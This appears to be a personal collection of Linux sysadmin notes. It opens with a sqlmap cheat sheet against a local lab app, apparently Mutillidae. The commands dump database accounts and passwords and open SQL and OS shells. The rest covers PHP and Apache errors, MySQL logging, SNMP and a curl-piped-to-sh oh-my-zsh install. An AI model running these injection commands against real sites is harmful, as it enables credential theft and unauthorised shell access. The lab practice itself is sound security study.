sqlmap cheat sheet

Example Commands

$ sqlmap --purge-output

$ sqlmap -r sqlmap_request.txt 
	[[add post request in file]]
$ sqlmap -r sqlmap_request.txt --dbs
$ sqlmap -r sqlmap_request.txt --sql-shell
$ sqlmap -r sqlmap_request.txt --os-shell
$ sqlmap -r sqlmap_request.txt --users --passwords --privileges --roles --threads=10 # get database user and password


$ sqlmap -u "http://192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login"
$ sqlmap -u "http://192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --dbs
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --tables -D nowasp
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --columns -D nowasp -T accounts
$ sqlmap -u "192.168.0.75/index.php?page=login.php" --data="username=hello&password=world&login-php-submit-button=Login" --dump -D nowasp -T accounts

Upgrading and Downgrading PHP 5.6 and 7.0

Followed the instructions
https://askubuntu.com/questions/761713/how-can-i-downgrade-from-php-7-to-php-5-6-on-ubuntu-16-04#answer-762161

Possible Errors

If you need to install a new fresh apache2
https://askubuntu.com/questions/451674/cant-install-apache2-again#answer-451679

If you come across an error similar to below when running
$ systemctl status apache2.service

ERROR:
 *** Restarting web server apache2                                                                                                                                          [fail]
 * The apache2 configtest failed.
Output of config test was:
apache2: Syntax error on line 140 of /etc/apache2/apache2.conf: Syntax error on line 1 of /etc/apache2/mods-enabled/php7.load: Cannot load /usr/lib/apache2/modules/libphp7.so into server: /usr/lib/apache2/modules/libphp7.so: cannot open shared object file: No such file or directory
Action 'configtest' failed.
The Apache error log may have more information.**

Solution:
$ sudo apt-get install libapache2-mod-php7.0
https://askubuntu.com/questions/536128/apache2-start-error-when-using-php5-module-ubuntu-server#answer-536141

If error “AH00534: httpd: Configuration error: More than one MPM loaded”

Solution:
Disable all apache2/mods-enabled/mpm* except for mpm_prefork
https://stackoverflow.com/questions/24060620/error-starting-apache-httpd-configuration-error-more-than-one-mpm-loaded#answer-25447262
http://www.mylinuxguide.com/apache-is-running-a-threaded-mpm-but-your-php-module-is-not-compiled-to-be-threadsafe/

tags:
php5.6
php7.0

Setup oh-my-zsh

Install

# https://gist.github.com/renshuki/3cf3de6e7f00fa7e744a
$ sudo apt-get install zsh
$ cd
$ sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

Uninstall

$ sudo sh ~/.oh-my-zsh/tools/uninstall.sh; chsh -s /bin/bash

sources:
https://github.com/robbyrussell/oh-my-zsh
https://github.com/robbyrussell/oh-my-zsh/issues/6119
https://github.com/robbyrussell/oh-my-zsh/blob/master/tools/uninstall.sh

Using Fujitsu scansnap ix500 in ubuntu 16.04

One way to use Fujitsu scansnap ix500 scanner in ubuntu 16.04 is thru virtualbox using windows 7.

Virtualbox needs to detect the usb.
Unable to view/connect usb devices to a virtualbox guest from ubuntu host
Add your user to the vboxuser group.
$ sudo usermod -a -G vboxusers $USER

Plug scanner usb into a usb 2 and NOT usb 3 port or you will get an error “failed to create a proxy device for the USB device. (Error: VERR_PDM_NO_USB_PORTS)” because virtualbox may not support usb 3.

Enable usb 2 controller

Inside virtualbox
downloaded the installer
http://www.fujitsu.com/global/support/products/computing/peripheral/scanners/scansnap/software/ix500w-installer.html

Run installer

Enable ix500 usb

and finish the installer

Mysql enable error logging

Was attempting to get the mysql error_log to work. The issue was that skip_log_error was being passed as mysqld param.

Using mariadb

# Is error_log set
$ cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep log_error

[mysqld]
log_error = /var/log/mysql/error.log

# Is skip_log_error removed or commented out
$ cat /etc/mysql/mariadb.conf.d/50-mysqld_safe.cnf | grep skip_log_error

[mysqld_safe]
#skip_log_error

# You may already have mysqld running with skip-log-error param which will prevent error_log from working
$ ps aux | grep skip-log-error

mysql    29703  0.0  1.4 662768 168708 ?       Sl   May01   0:36 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306

http://x-v.it/09i2ls

# stop mysqld by killing process
$ kill 29703

# restart mysql
$ sudo /etc/init.d/mysql restart

# view log variables to determine if working
$ mysql -uUsername -pPassword -se "SHOW VARIABLES" | grep -e log_error -e general_log -e slow_query_log
mysql some log variables

Mysql Error: too many open files

# error: ERROR 1018 (HY000): Can’t read dir of ‘.’ (errno: 24)

# Super user
$ sudo su

# See what mysql files are open
$ lsof -u mysql

# Count how many mysql files are open
$ lsof -u mysql | wc -l

# close mysql files
$ kill -9 `lsof -t -u mysql`

# sources
http://i-learnings.blogspot.com.br/2012/11/error-1018-hy000-cant-read-dir-of-errno.html
http://www.webhostingtalk.com/showthread.php?t=1138305

SNMP Getting Started

# install
sudo apt-get install snmp snmpd snmp-mibs-downloader

# configuration
# server
$ sudo nano /etc/snmp/snmpd.conf

rocommunity VegetaRocks
syslocation Vegeta planet 
sysContact Vegeta <vegeta@dbz.com>;

# restart snmpd
$ sudo /etc/init.d/snmpd restart

# Test. On client
$ snmpwalk -v1 -c VegetaRocks 192.168.0.13
$ snmpget -v1 -c VegetaRocks 192.168.0.13 1.3.6.1.4.1.2021.4.5.0

# example of traffic in wireshark
snmp traffic wireshar

# list of SNMP OID
http://www.debianadmin.com/linux-snmp-oids-for-cpumemory-and-disk-statistics.html

# sources